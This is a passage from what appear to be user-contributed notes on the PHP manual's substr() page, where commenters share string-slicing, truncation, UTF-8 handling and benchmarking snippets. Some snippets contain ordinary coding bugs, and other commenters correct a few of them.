            }else if(isset($stop) && isset($step)){
                $rev = "";
                if($stop[0] == "-"){$rev = "VAR";}
                $yeni = "";
                if($step == 1){
                    if($rev != "VAR"){
                        return $str;
                        //"start bo?, stop ve step dolu, step 1";
                    }else{
                        return strrev(substr($str,0,abs($stop))); //abs -> mutlak de?er (-5 = 5)
                        //"start bo?, stop -, step dolu, step 1";
                    }
                }else{
                    $atla = abs($step);
                    for($i = 0; $i <= strlen($str); $i++){
                        $offset = $i*$atla;
                        if(isset($str[$offset])){
                            $yeni = $yeni.$str[$offset];
                        }
                    }
                    if($rev != "VAR"){
                        return substr($yeni,0,$stop);
                        //"start bo?, step ve stop dolu";
                    }else{
                        return strrev(substr($yeni,0,abs($stop)));
                        //"start bo?, step ve stop -";
                    }
                }
            }
        //start bo? de?ilse
        }else if(!empty($start)){
            if(isset($stop) && empty($step)){
                $rev = "";
                if($stop[0] == "-"){$rev = "VAR";}
                if($rev != "VAR"){
                    return substr($str,$start,$stop);
                    //return "step bo?, start ve stop dolu";
                }else{
                    return strrev(substr($str,0,abs($stop)));
                    //"step bo?, start ve stop dolu, stop -";
                }
            }else if(isset($stop) && isset($step)){

                //hepsi dolu
                $rev = "";
                if($stop[0] == "-"){$rev = "VAR";}
                $yeni = "";
                if($step == 1){
                    if($rev != "VAR"){
                        return substr($str,$start,$stop);
                        //"hepsi dolu, step 1";
                    }else{
                        return substr($str,$start,abs($stop));
                        //"hepsi dolu, step 1, stop -";
                    }
                }else{
                    if($stop[0] == "-"){$rev = "VAR";}
                    $atla = abs($step);
                    for($i = 0; $i <= strlen($str); $i++){
                        $offset = $i*$atla;
                        if(isset($str[$offset])){
                            $yeni = $yeni.$str[$offset];
                        }
                    }
                    if($rev != "VAR"){
                        return substr($yeni,$start,$stop);
                        //"hepsi dolu";
                    }else{
                        return strrev(substr($yeni,$start,abs($stop)));
                        //"hepsi dolu, stop -";
                    }
                }
            }
        }
    }
?>

Good works..
greg at apparel dot com 20-Nov-2013 05:28
Coming to PHP from classic ASP I am used to the Left() and Right() functions built into ASP so I did a quick PHPversion. hope these help someone else making the switch

function left($str, $length) {
    return substr($str, 0, $length);
}

function right($str, $length) {
    return substr($str, -$length);
}
fengdingbo at gmail dot com 19-Jul-2013 04:23
<?php
$a = 'abc';
$php = 'ok123';
$str = microtime(TRUE);
for($i=0;$i<=1000000;$i++)
    $a = substr($php,1,1);
echo microtime(true)-$str,"\n";
$str = microtime(TRUE);
for($i=0;$i<=1000000;$i++)
    $a = $php[1];
echo microtime(true)-$str;
?>
output:
0.26694822311401
0.10447096824646
biohazard dot ge at gmail dot com 15-Jul-2013 02:30
may be by following functions will be easier to extract the needed sub parts from a string:

<?php
after ('@', 'biohazard@online.ge');
//returns 'online.ge'
//from the first occurrence of '@'

before ('@', 'biohazard@online.ge');
//returns 'biohazard'
//from the first occurrence of '@'

between ('@', '.', 'biohazard@online.ge');
//returns 'online'
//from the first occurrence of '@'

after_last ('[', 'sin[90]*cos[180]');
//returns '180]'
//from the last occurrence of '['

before_last ('[', 'sin[90]*cos[180]');
//returns 'sin[90]*cos['
//from the last occurrence of '['

between_last ('[', ']', 'sin[90]*cos[180]');
//returns '180'
//from the last occurrence of '['
?>

here comes the source:

<?php

    function after ($this, $inthat)
    {
        if (!is_bool(strpos($inthat, $this)))
        return substr($inthat, strpos($inthat,$this)+strlen($this));
    };

    function after_last ($this, $inthat)
    {
        if (!is_bool(strrevpos($inthat, $this)))
        return substr($inthat, strrevpos($inthat, $this)+strlen($this));
    };

    function before ($this, $inthat)
    {
        return substr($inthat, 0, strpos($inthat, $this));
    };

    function before_last ($this, $inthat)
    {
        return substr($inthat, 0, strrevpos($inthat, $this));
    };

    function between ($this, $that, $inthat)
    {
        return before ($that, after($this, $inthat));
    };

    function between_last ($this, $that, $inthat)
    {
     return after_last($this, before_last($that, $inthat));
    };

// use strrevpos function in case your php version does not include it
function strrevpos($instr, $needle)
{
    $rev_pos = strpos (strrev($instr), strrev($needle));
    if ($rev_pos===false) return false;
    else return strlen($instr) - $rev_pos - strlen($needle);
};
?>
pugazhenthi k 18-Jan-2013 09:57
<?Php

### SUB STRING  BY WORD USING substr() and strpos()  #####

### THIS SCRIPT WILL RETURN PART OF STRING  WITHOUT WORD BREAK ###

$description = 'your description here your description here your description here your description here your description here your description here your description hereyour description here your description here'  // your description here .

$no_letter = 30 ;

if(strlen($desctiption) > 30 )
{
     echo substr($description,0,strpos($description,' ',30));             //strpos to find ' ' after 30 characters.
}
else {
     echo $description;
}

?>
pheagey at gmail dot com 15-Jun-2012 02:27
Using a 0 as the last parameter for substr().

As per examples
<?php $var = substr($var, 4); ?>

works no problem. However
<?php $var = substr($var, 4, 0); ?>

will get you nothing. Just a quick heads up
leon weidauer 08-Jul-2011 01:07
When using a value of a wrong type as second parameter , substr() does not return FALSE but NULL although the docs say, it should return FALSE on error.

Prior to PHP 5.3, substr() tries to cast the second parameter to int and doesn't throw any errors. Since PHP 5.3 a warning is thrown.
Quicker 06-May-2011 04:17
If you need to parse utf-8 strings char by char, try this one:

<?php
     $utf8marker=chr(128);
     $count=0;
     while(isset($string{$count})){
       if($string{$count}>=$utf8marker) {
         $parsechar=substr($string,$count,2);
         $count+=2;
       } else {
         $parsechar=$string{$count};
         $count++;
       }
       /* do what you like with parsechar ... , eg.:*/  echo $parsechar."<BR>\r\n";
     }
?>

- it works without mb_substr
- it is fast, because it grabs characters based on indexes  when possible and avoids any count and split functions
slow at acedsl dot com 28-Mar-2011 01:47
Anyone coming from the Python world will be accustomed to making substrings by using a "slice index" on a string.  The following function emulates basic Python string slice behavior. (A more elaborate version could be made to support array input as well as string, and the optional third "step" argument.)

<?php

function py_slice($input, $slice) {
    $arg = explode(':', $slice);
    $start = intval($arg[0]);
    if ($start < 0) {
        $start += strlen($input);
    }
    if (count($arg) === 1) {
        return substr($input, $start, 1);
    }
    if (trim($arg[1]) === '') {
        return substr($input, $start);
    }
    $end = intval($arg[1]);
    if ($end < 0) {
        $end += strlen($input);
    }
    return substr($input, $start, $end - $start);
}

print py_slice('abcdefg', '2') . "\n";
print py_slice('abcdefg', '2:4') . "\n";
print py_slice('abcdefg', '2:') . "\n";
print py_slice('abcdefg', ':4') . "\n";
print py_slice('abcdefg', ':-3') . "\n";
print py_slice('abcdefg', '-3:') . "\n";

?>

The $slice parameter can be a single character index, or a range separated by a colon. The start of the range is inclusive and the end is exclusive, which may be  counterintuitive. (Eg, py_slice('abcdefg', '2:4') yields 'cd' not 'cde'). A negative range value means to count from the end of the string instead of the beginning. Both the start and end of the range may be omitted; the start defaults to 0 and the end defaults to the total length of the input.

The output from the examples:
c
cd
cdefg
abcd
abcd
efg
nikolai dot wuestemann at t-online dot de 14-Jan-2011 08:56
If you want to have a string BETWEEN two strings, just use this function:

<?php
function get_between($input, $start, $end)
{
  $substr = substr($input, strlen($start)+strpos($input, $start), (strlen($input) - strpos($input, $end))*(-1));
  return $substr;
}

//Example:

$string = "123456789";
$a = "12";
$b = "9";

echo get_between($string, $a, $b);

//Output:
//345678
?>
Cristianlf 29-Oct-2010 02:10
I needed a function like lpad from oracle, or right from SQL
 then I use this code :

<?php
function right($string,$chars)
{
    $vright = substr($string, strlen($string)-$chars,$chars);
    return $vright;

}

    echo right('0r0j4152',4);
?>

Result:
 4152
------------------------------------------------
This function is really simple, I just wanted to share, maybe helps someone out there.

regards,
vnonov at gmail dot com / Viktor Nonov 28-Jan-2010 10:32
<?php

//removes string from the end of other

function removeFromEnd($string, $stringToRemove) {
    $stringToRemoveLen = strlen($stringToRemove);
    $stringLen = strlen($string);

    $pos = $stringLen - $stringToRemoveLen;

    $out = substr($string, 0, $pos);

    return $out;
}

$string = 'picture.jpg.jpg';
$string = removeFromEnd($string, '.jpg');
?>
kaj dot strom at kapsi dot fi 05-Oct-2009 04:42
One thing to keep in mind when using string indexes and UTF-8 is that string indexes are NOT multi-byte safe.

<?php
$string = '???1';
echo $string[3];
?>

Outputs:
¤

When it logically should output "1". This is not a bug, as PHP 'normal' string functions are not intended to be multi-byte safe. This can be solved by using this function

<?php
/**
 *
 * @param string $string String to "search" from
 * @param int $index Index of the letter we want.
 * @return string The letter found on $index.
 */
function charAt($string, $index){
    if($index < mb_strlen($string)){
        return mb_substr($string, $index, 1);
    }
    else{
        return -1;
    }
}
?>
gkhelloworld at gmail dot com 26-Jul-2009 03:39
Shortens the filename and its expansion has seen.

<?php
$file = "Hellothisfilehasmorethan30charactersandthisfayl.exe";

function funclongwords($file)
{
if (strlen($file) > 30)
{
$vartypesf = strrchr($file,".");
$vartypesf_len = strlen($vartypesf);
$word_l_w = substr($file,0,15);
$word_r_w = substr($file,-15);
$word_r_a = substr($word_r_w,0,-$vartypesf_len);

return $word_l_w."...".$word_r_a.$vartypesf;
}
else
return $file;
}
// RETURN: Hellothisfileha...andthisfayl.exe
?>
kaysar in ymail in com 07-Jun-2009 11:58
Drop extensions of a file (even from a file location string)

<?php

$filename = "c:/some dir/abc defg. hi.jklmn";

echo substr($filename, 0, (strlen ($filename)) - (strlen (strrchr($filename,'.'))));

?>

output: c:/some dir/abc defg. hi

Hope it may help somebody like me.. (^_^)
Andreas Bur (andreas dot buro at gmail dot com) 29-Apr-2009 06:25
For getting a substring of UTF-8 characters, I highly recommend mb_substr

<?php
        $utf8string = "cake???";

        echo substr($utf8string,0,5);
        // output cake#
        echo mb_substr($utf8string,0,5,'UTF-8');
        //output cake?
?>
webmaster at oehoeboeroe dot nl 18-Apr-2009 02:07
You might expect substr('123456', 6) to return an empty string. Instead it returns boolean FALSE.

This behavior should be mentioned in the Return Values section of the manual. Instead it is only mentioned in the Parameters section.

If you need an empty string instead of a boolean FALSE you should typecast the result to a string.

<?php
$a = substr('123456', 6);              // equivalent to $a = FALSE
$a = (string) substr('123456', 6);   // equivalent to $a = '';
?>
sajjad at sajjad dot biz 08-Apr-2009 12:28
Substring utf-8 strings!
very simple!

<?php
function substru($str,$from,$len){
    return preg_replace('#^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'. $from .'}'.'((?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'. $len .'}).*#s','$1', $str);
}
?>
link 21-Mar-2009 05:52
And as always there is bound to be a bug:

<?php
function strlen_entities($text)
{
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    return count($textarray[0]);
}
function substr_entities($text,$start,$limit=0)
{
    $return = '';
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    $textarray = $textarray[0];
    $numchars = count($textarray)-1;
    if ($start>=$numchars)
        return false;
    if ($start<0)
    {
        $start = ($numchars)+$start+1;
    }
    if ($start>=0)
    {
        if ($limit==0)
        {
            $end=$numchars;
        }
        elseif ($limit>0)
        {
            $end = $start+($limit-1);
        }
        else
        {
            $end = ($numchars)+$limit;
        }

        for ($i=$start;($i<=$end && isset($textarray[$i]));$i++)
        {
            $return .= $textarray[$i];
        }
        return $return;
    }
}
?>
link 20-Mar-2009 07:19
I created some functions for entity-safe splitting+lengthcounting:

<?php
function strlen_entities($text)
{
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    return count($textarray[0]);
}
function substr_entities($text,$start,$limit=0)
{
    $return = '';
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    $textarray = $textarray[0];
    $numchars = count($textarray)-1;
    if ($start>=$numchars)
        return false;
    if ($start<0)
    {
        $start = ($numchars)+$start+1;
    }
    if ($start>=0)
    {
        if ($limit==0)
        {
            $end=$numchars;
        }
        elseif ($limit>0)
        {
            $end = $start+($limit-1);
        }
        else
        {
            $end = ($numchars)+$limit;
        }

        for ($i=$start;$i<=$end;$i++)
        {
            $return .= $textarray[$i];
        }
        return $return;
    }
}
?>
mar dot czapla at gmail dot com 24-Oct-2008 02:31
Here we have gr8 function which simply convert ip address to a number using substr with negative offset.
You can need it if you want to compare some IP addresses converted to a numbers.
For example when using ip2country, or eliminating same range of ip addresses from your website :D

<?php

function ip2no($val)
{
    list($A,$B,$C,$D)    =    explode(".",$val);
    return
        substr("000".$A,-3).
        substr("000".$B,-3).
        substr("000".$C,-3).
        substr("000".$D,-3);
}

$min        =    ip2no("10.11.1.0");
$max        =    ip2no("111.11.1.0");
$visitor    =    ip2no("105.1.20.200");

if($min<$visitor && $visitor<$max)
    {    echo 'Welcome !';    }
else
    {    echo 'Get out of here !';    }

?>
mr.davin 29-Sep-2008 10:01
Simple use of substr to determine possession:

<?php
function possessive ($word) {
    return  $word.(substr($word, -1) == 's' ? "'" : "'s");
}

// Davis => Davis'
// Paul => Paul's
?>
post [at] jannik - zappe [dot] de 05-Aug-2008 07:59
Just a little function to cut a string by the wanted amount. Works in both directions.

<?php
function cutString($str, $amount = 1, $dir = "right")
{
  if(($n = strlen($str)) > 0)
  {
    if($dir == "right")
    {
      $start = 0;
      $end = $n-$amount;
    } elseif( $dir == "left") {
      $start = $amount;
      $end = $n;
    }

    return substr($str, $start, $end);
  } else return false;
}
?>

Enjoy ;)
Anonymous 17-Mar-2008 03:53
Split a string to an array of strings specified by an array of lengths:

<?php
function split_by_lengths($inString, $arrayLengths)
{
    $output = array();
    foreach ($arrayLengths as $oneLength)
    {
        $output[] = substr($inString, 0, $oneLength);
        $inString = substr($inString, $oneLength);
    }
    return ($output);
}
?>
split_by_lengths('teststringtestteststring', array(4,6,4,4,6)) returns:
array('test','string','test','test','string')

Don't use it on user input without some error handling!
kriskra at gmail dot com 29-Feb-2008 05:21
The javascript charAt equivalent in php of felipe has a little bug. It's necessary to compare the type (implicit) aswell or the function returns a wrong result:
<?php
function charAt($str,$pos) {
    return (substr($str,$pos,1) !== false) ? substr($str,$pos,1) : -1;
}
?>
highstrike at gmail dot com 05-Jan-2008 08:47
Because i didnt see a function that would cut a phrase from a text (article or whatever) no matter where, front/middle/end and add ... + keeping the words intact, i wrote this:

Usage:
- The parameter $value if array will need the whole text and the portion you want to start from, a string. EG: cuttext(array($text, $string), 20). If the string is "have" and is near the beginning of the text, the function will cut like "I have a car ...", if the string is in the middle somewhere it will cut like "... if you want to have your own car ..." and if its somewhere near the end it will cut like "... and you will have one."
- The $length parameter is self explanatory.

Note: if you have just a string "127hh43h2h52312453jfks2" and you want to cut it, just use the function like so: cuttext($string, 10) and it will cut it like "127hh43h2h..."

<?php

////////////////////////////////////////////////////////
// Function:         cuttext
// Description: Cuts a string and adds ...

function cuttext($value, $length)
{
    if(is_array($value)) list($string, $match_to) = $value;
    else { $string = $value; $match_to = $value{0}; }

    $match_start = stristr($string, $match_to);
    $match_compute = strlen($string) - strlen($match_start);

    if (strlen($string) > $length)
    {
        if ($match_compute < ($length - strlen($match_to)))
        {
            $pre_string = substr($string, 0, $length);
            $pos_end = strrpos($pre_string, " ");
            if($pos_end === false) $string = $pre_string."...";
            else $string = substr($pre_string, 0, $pos_end)."...";
        }
        else if ($match_compute > (strlen($string) - ($length - strlen($match_to))))
        {
            $pre_string = substr($string, (strlen($string) - ($length - strlen($match_to))));
            $pos_start = strpos($pre_string, " ");
            $string = "...".substr($pre_string, $pos_start);
            if($pos_start === false) $string = "...".$pre_string;
            else $string = "...".substr($pre_string, $pos_start);
        }
        else
        {
            $pre_string = substr($string, ($match_compute - round(($length / 3))), $length);
            $pos_start = strpos($pre_string, " "); $pos_end = strrpos($pre_string, " ");
            $string = "...".substr($pre_string, $pos_start, $pos_end)."...";
            if($pos_start === false && $pos_end === false) $string = "...".$pre_string."...";
            else $string = "...".substr($pre_string, $pos_start, $pos_end)."...";
        }

        $match_start = stristr($string, $match_to);
        $match_compute = strlen($string) - strlen($match_start);
    }

    return $string;
}

?>
morgangalpin att gmail dotty com 24-Sep-2007 10:55
Adding the $limit parameter introduced a bug that was not present in the original. If $limit is small or negative, a string with a length exceeding the limit can be returned. The $limit parameter should be checked. It takes slightly more processing, but it is dwarfed in comparison to the use of strlen().

<?php
  function short_name($str, $limit)
  {
    // Make sure a small or negative limit doesn't cause a negative length for substr().
    if ($limit < 3)
    {
      $limit = 3;
    }

    // Now truncate the string if it is over the limit.
    if (strlen($str) > $limit)
    {
      return substr($str, 0, $limit - 3) . '...';
    }
    else
    {
      return $str;
    }
  }
?>
Petez 31-Aug-2007 03:56
I wanted to work out the fastest way to get the first few characters from a string, so I ran the following experiment to compare substr, direct string access and strstr:

<?php
/* substr access */
beginTimer();
for ($i = 0; $i < 1500000; $i++){
    $opening = substr($string,0,11);
    if ($opening == 'Lorem ipsum'){
        true;
    }else{
        false;
    }
}
$endtime1 = endTimer();

/* direct access */
beginTimer();
for ($i = 0; $i < 1500000; $i++){
    if ($string[0] == 'L' && $string[1] == 'o' && $string[2] == 'r' && $string[3] == 'e' && $string[4] == 'm' && $string[5] == ' ' && $string[6] == 'i' && $string[7] == 'p' && $string[8] == 's' && $string[9] == 'u' && $string[10] == 'm'){
        true;
    }else{
        false;
    }
}
$endtime2 = endTimer();

/* strstr access */
beginTimer();
for ($i = 0; $i < 1500000; $i++){
    $opening = strstr($string,'Lorem ipsum');
    if ($opening == true){
        true;
    }else{
        false;
    }
}
$endtime3 = endTimer();

echo $endtime1."\r\n".$endtime2."\r\n".$endtime3;
?>

The string was 6 paragraphs of Lorem Ipsum, and I was trying match the first two words. The experiment was run 3 times and averaged. The results were:

(substr) 3.24
(direct access) 11.49
(strstr) 4.96

(With standard deviations 0.01, 0.02 and 0.04)

THEREFORE substr is the fastest of the three methods for getting the first few letters of a string.
ijavier aka(not imatech) igjav 14-Feb-2007 02:20
<?php
/*
    An advanced substr but without breaking words in the middle.
    Comes in 3 flavours, one gets up to length chars as a maximum, the other with length chars as a minimum up to the next word, and the other considers removing final dots, commas and etcteteras for the sake of beauty (hahaha).
   This functions were posted by me some years ago, in the middle of the ages I had to use them in some corporations incorporated, with the luck to find them in some php not up to date mirrors. These mirrors are rarely being more not up to date till the end of the world... Well, may be am I the only person that finds usef not t bre word in th middl?

Than! (ks)

This is the calling syntax:

    snippet(phrase,[max length],[phrase tail])
    snippetgreedy(phrase,[max length before next space],[phrase tail])

*/

function snippet($text,$length=64,$tail="...") {
    $text = trim($text);
    $txtl = strlen($text);
    if($txtl > $length) {
        for($i=1;$text[$length-$i]!=" ";$i++) {
            if($i == $length) {
                return substr($text,0,$length) . $tail;
            }
        }
        $text = substr($text,0,$length-$i+1) . $tail;
    }
    return $text;
}

// It behaves greedy, gets length characters ore goes for more

function snippetgreedy($text,$length=64,$tail="...") {
    $text = trim($text);
    if(strlen($text) > $length) {
        for($i=0;$text[$length+$i]!=" ";$i++) {
            if(!$text[$length+$i]) {
                return $text;
            }
        }
        $text = substr($text,0,$length+$i) . $tail;
    }
    return $text;
}

// The same as the snippet but removing latest low punctuation chars,
// if they exist (dots and commas). It performs a later suffixal trim of spaces

function snippetwop($text,$length=64,$tail="...") {
    $text = trim($text);
    $txtl = strlen($text);
    if($txtl > $length) {
        for($i=1;$text[$length-$i]!=" ";$i++) {
            if($i == $length) {
                return substr($text,0,$length) . $tail;
            }
        }
        for(;$text[$length-$i]=="," || $text[$length-$i]=="." || $text[$length-$i]==" ";$i++) {;}
        $text = substr($text,0,$length-$i+1) . $tail;
    }
    return $text;
}

/*
echo(snippet("this is not too long to run on the column on the left, perhaps, or perhaps yes, no idea") . "<br>");
echo(snippetwop("this is not too long to run on the column on the left, perhaps, or perhaps yes, no idea") . "<br>");
echo(snippetgreedy("this is not too long to run on the column on the left, perhaps, or perhaps yes, no idea"));
*/
?>
persisteus at web dot de 13-Feb-2007 07:45
Here is also a nice (but a bit slow) alternative for colorizing an true color image:

<?php
// $colorize = hexadecimal code in String format, f.e. "10ffa2"
// $im = the image that have to be computed

$red = hexdec(substr($colorize, 0, 2));
$green = hexdec(substr($colorize, 2, 2));
$blue = hexdec(substr($colorize, 4, 2));

$lum_c = floor(($red*299 + $green*587 + $blue*144) / 1000);

for ($i = 0; $i < $lum_c; $i++)
{
  $r = $red * $i / $lum_c;
  $g = $green * $i / $lum_c;
  $b = $blue * $i / $lum_c;
  $pal[$i] = $r<<16 | $g<<8 | $b;
}
$pal[$lum_c] = $red<<16 | $green<<8 | $blue;
for ($i = $lum_c+1; $i < 255; $i++)
{
  $r = $red + (255-$red) * ($i-$lum_c) / (255-$lum_c);
  $g = $green + (255-$green) * ($i-$lum_c) / (255-$lum_c);
  $b = $blue + (255-$blue) * ($i-$lum_c) / (255-$lum_c);
  $pal[$i] = $r<<16 | $g<<8 | $b;
}

$sy = imagesy($im);
$sx = imagesx($im);
for($y=0;$y<$sy;$y++)
{
  for($x=0;$x<$sx;$x++)
  {
    $rgba = imagecolorat($im, $x, $y);
    $a = ($rgba & 0x7F000000) >> 24;
    $r = ($rgba & 0xFF0000) >> 16;
    $g = ($rgba & 0x00FF00) >> 8;
    $b = ($rgba & 0x0000FF);

    $lum = floor(($r*299+$g*587+$b*144)/1000);

    imagesetpixel($im, $x, $y, $a<<24 | $pal[$lum]);
  }
}
?>
egingell at sisna dot com 19-Oct-2006 03:19
<?php

/**
 * string substrpos(string $str, mixed $start [[, mixed $end], boolean $ignore_case])
 *
 * If $start is a string, substrpos will return the string from the position of the first occuring $start to $end
 *
 * If $end is a string, substrpos will return the string from $start to the position of the first occuring $end
 *
 * If the first character in (string) $start or (string) $end is '-', the last occuring string will be used.
 *
 * If $ignore_case is true, substrpos will not care about the case.
 * If $ignore_case is false (or anything that is not (boolean) true, the function will be case sensitive.
 *        Both of the above: only applies if either $start or $end are strings.
 *
 * echo substrpos('This is a string with 0123456789 numbers in it.', 5, '5');
 *        // Prints 'is a string with 01234';
 *
 * echo substrpos('This is a string with 0123456789 numbers in it.', '5', 5);
 *        // Prints '56789'
 *
 * echo substrpos('This is a string with 0123456789 numbers in it and two strings.', -60, '-string')
 *        // Prints 's is a string with 0123456789 numbers in it and two '
 *
 * echo substrpos('This is a string with 0123456789 numbers in it and two strings.', -60, '-STRING', true)
 *        // Prints 's is a string with 0123456789 numbers in it and two '
 *
 * echo substrpos('This is a string with 0123456789 numbers in it and two strings.', -60, '-STRING', false)
 *        // Prints 's is a string with 0123456789 numbers in it and two strings.'
 *
 * Warnings:
 *        Since $start and $end both take either a string or an integer:
 *            If the character or string you are searching $str for is a number, pass it as a quoted string.
 *        If $end is (integer) 0, an empty string will be returned.
 *        Since this function takes negative strings ('-search_string'):
 *            If the string your using in $start or $end is a '-' or begins with a '-' escape it with a '\'.
 *            This only applies to the *first* character of $start or $end.
 */

// Define stripos() if not defined (PHP < 5).
if (!is_callable("stripos")) {
    function stripos($str, $needle, $offset = 0) {
        return strpos(strtolower($str), strtolower($needle), $offset);
    }
}

function substrpos($str, $start, $end = false, $ignore_case = false) {
    // Use variable functions
    if ($ignore_case === true) {
        $strpos = 'stripos'; // stripos() is included above in case it's not defined (PHP < 5).
    } else {
        $strpos = 'strpos';
    }

    // If end is false, set it to the length of $str
    if ($end === false) {
        $end = strlen($str);
    }

    // If $start is a string do what's needed to make it an integer position for substr().
    if (is_string($start)) {
        // If $start begins with '-' start processing until there's no more matches and use the last one found.
        if ($start{0} == '-') {
            // Strip off the '-'
            $start = substr($start, 1);
            $found = false;
            $pos = 0;
            while(($curr_pos = $strpos($str, $start, $pos)) !== false) {
                $found = true;
                $pos = $curr_pos + 1;
            }
            if ($found === false) {
                $pos = false;
            } else {
                $pos -= 1;
            }
        } else {
            // If $start begins with '\-', strip off the '\'.
            if ($start{0} . $start{1} == '\-') {
                $start = substr($start, 1);
            }
            $pos = $strpos($str, $start);
        }
        $start = $pos !== false ? $pos : 0;
    }

    // Chop the string from $start to strlen($str).
    $str = substr($str, $start);

    // If $end is a string, do exactly what was done to $start, above.
    if (is_string($end)) {
        if ($end{0} == '-') {
            $end = substr($end, 1);
            $found = false;
            $pos = 0;
            while(($curr_pos = strpos($str, $end, $pos)) !== false) {
                $found = true;
                $pos = $curr_pos + 1;
            }
            if ($found === false) {
                $pos = false;
            } else {
                $pos -= 1;
            }
        } else {
            if ($end{0} . $end{1} == '\-') {
                $end = substr($end, 1);
            }
            $pos = $strpos($str, $end);
        }
        $end = $pos !== false ? $pos : strlen($str);
    }

    // Since $str has already been chopped at $start, we can pass 0 as the new $start for substr()
    return substr($str, 0, $end);
}

?>
feedback at realitymedias dot com 15-Oct-2006 05:47
This function can replace substr() in some situations you don't want to cut right in the middle of a word. strtrim will cut between words when it is possible choosing the closest possible final string len to return. the maxoverflow parameter lets you choose how many characters can overflow past the maxlen parameter.

<?php

function strtrim($str, $maxlen=100, $elli=NULL, $maxoverflow=15) {
    global $CONF;

    if (strlen($str) > $maxlen) {

        if ($CONF["BODY_TRIM_METHOD_STRLEN"]) {
            return substr($str, 0, $maxlen);
        }

        $output = NULL;
        $body = explode(" ", $str);
        $body_count = count($body);

        $i=0;

        do {
            $output .= $body[$i]." ";
            $thisLen = strlen($output);
            $cycle = ($thisLen < $maxlen && $i < $body_count-1 && ($thisLen+strlen($body[$i+1])) < $maxlen+$maxoverflow?true:false);
            $i++;
        } while ($cycle);
        return $output.$elli;
    }
    else return $str;
}

?>
Bradley from California 10-Jan-2006 01:34
Add on to (a function originally written by) "Matias from Argentina": str_format_number function.

Just added handling of $String shorter then $Format by adding a side to start the fill and a string length to the while loop.

<?php
function str_format_number($String, $Format, $Start = 'left'){
    //If we want to fill from right to left incase string is shorter then format
    if ($Start == 'right') {
        $String = strrev($String);
        $Format = strrev($Format);
    }
    if($Format == '') return $String;
    if($String == '') return $String;
    $Result = '';
    $FormatPos = 0;
    $StringPos = 0;
    while ((strlen($Format) - 1) >= $FormatPos && strlen($String) > $StringPos) {
        //If its a number => stores it
        if (is_numeric(substr($Format, $FormatPos, 1))) {
            $Result .= substr($String, $StringPos, 1);
            $StringPos++;
            //If it is not a number => stores the caracter
        } else {
            $Result .= substr($Format, $FormatPos, 1);
        }
        //Next caracter at the mask.
        $FormatPos++;
    }
    if ($Start == 'right') $Result = strrev($Result);
    return $Result;
}
?>
frank at jkelloggs dot dk 25-Jul-2005 02:37
Regarding the utf8_substr function from lmak: The pattern '/./u' doesn't match newline characters. This means that the substring from 0 to the total length of the string will miss the number of characters in the end matching the number of newlines in the string. To fix this one can add the s modifier (PCRE_DOTALL) in the pattern:

<?php
function utf8_substr($str,$start)
{
   preg_match_all("/./su", $str, $ar);

   if(func_num_args() >= 3) {
       $end = func_get_arg(2);
       return join("",array_slice($ar[0],$start,$end));
   } else {
       return join("",array_slice($ar[0],$start));
   }
}
?>
php_net at thomas dot trella dot de 29-Jun-2005 08:07
I needed to cut a string after x chars at a  html converted utf-8 text (for example Japanese text like &#23344;&#35632;&#24368;&#33072;&#27440;&#32591;).
The problem was, the different length of the signs, so I wrote the following function to handle that.
Perhaps it helps.

<?php

function html_cutstr ($str, $len)
{
    if (!preg_match('/\&#[0-9]*;.*/i', $str))
    {
        $rVal = strlen($str, $len);
        break;
    }

    $chars = 0;
    $start = 0;
    for($i=0; $i < strlen($str); $i++)
    {
        if ($chars >= $len)
        break;

        $str_tmp = substr($str, $start, $i-$start);
        if (preg_match('/\&#[0-9]*;.*/i', $str_tmp))
        {
            $chars++;
            $start = $i;
        }
    }
    $rVal = substr($str, 0, $start);
    if (strlen($str) > $start)
    $rVal .= " ...";
    return $rVal;
}
?>
ivanhoe011 at gmail dot com 07-Jun-2005 08:31
If you need just a single character from the string you don't need to use substr(), just use curly braces notation:

<?php
    // both lines will output the 3rd character
    echo substr($my_string, 2, 1);
    echo $my_string{2};
?>

curly braces syntax is faster and more readable IMHO..
rob NOSPAM at clancentric dot net 07-Jun-2005 03:43
I have developed a function with a similar outcome to jay's

Checks if the last character is or isnt a space. (does it the normal way if it is)
It explodes the string into an array of seperate works, the effect is... it chops off anything after and including the last space.

<?php
function limit_string($string, $charlimit)
{
    if(substr($string,$charlimit-1,1) != ' ')
    {
        $string = substr($string,'0',$charlimit);
        $array = explode(' ',$string);
        array_pop($array);
        $new_string = implode(' ',$array);

        return $new_string.'...';
    }
    else
    {
        return substr($string,'0',$charlimit-1).'...';
    }
}
?>
bleakwind at msn dot com 25-May-2005 10:11
This returns the portion of str specified by the start and length parameters..
It can performs multi-byte safe on number of characters. like mb_strcut() ...

Note:
1.Use it like this bite_str(string str, int start, int length [,byte of on string]);
2.First character's position is 0. Second character position is 1, and so on...
3.$byte is one character length of your encoding, For example: utf-8 is "3", gb2312 and big5 is "2"...you can use the function strlen() get it...
Enjoy it :) ...

--- Bleakwind
QQ:940641
http://www.weaverdream.com

PS:I'm sorry my english is too poor... :(

<?php
// String intercept By Bleakwind
// utf-8:$byte=3 | gb2312:$byte=2 | big5:$byte=2
function bite_str($string, $start, $len, $byte=3)
{
    $str     = "";
    $count   = 0;
    $str_len = strlen($string);
    for ($i=0; $i<$str_len; $i++) {
        if (($count+1-$start)>$len) {
            $str  .= "...";
            break;
        } elseif ((ord(substr($string,$i,1)) <= 128) && ($count < $start)) {
            $count++;
        } elseif ((ord(substr($string,$i,1)) > 128) && ($count < $start)) {
            $count = $count+2;
            $i     = $i+$byte-1;
        } elseif ((ord(substr($string,$i,1)) <= 128) && ($count >= $start)) {
            $str  .= substr($string,$i,1);
            $count++;
        } elseif ((ord(substr($string,$i,1)) > 128) && ($count >= $start)) {
            $str  .= substr($string,$i,$byte);
            $count = $count+2;
            $i     = $i+$byte-1;
        }
    }
    return $str;
}

// Test
$str = "123456?????123456?????123456???????";
for($i=0;$i<30;$i++){
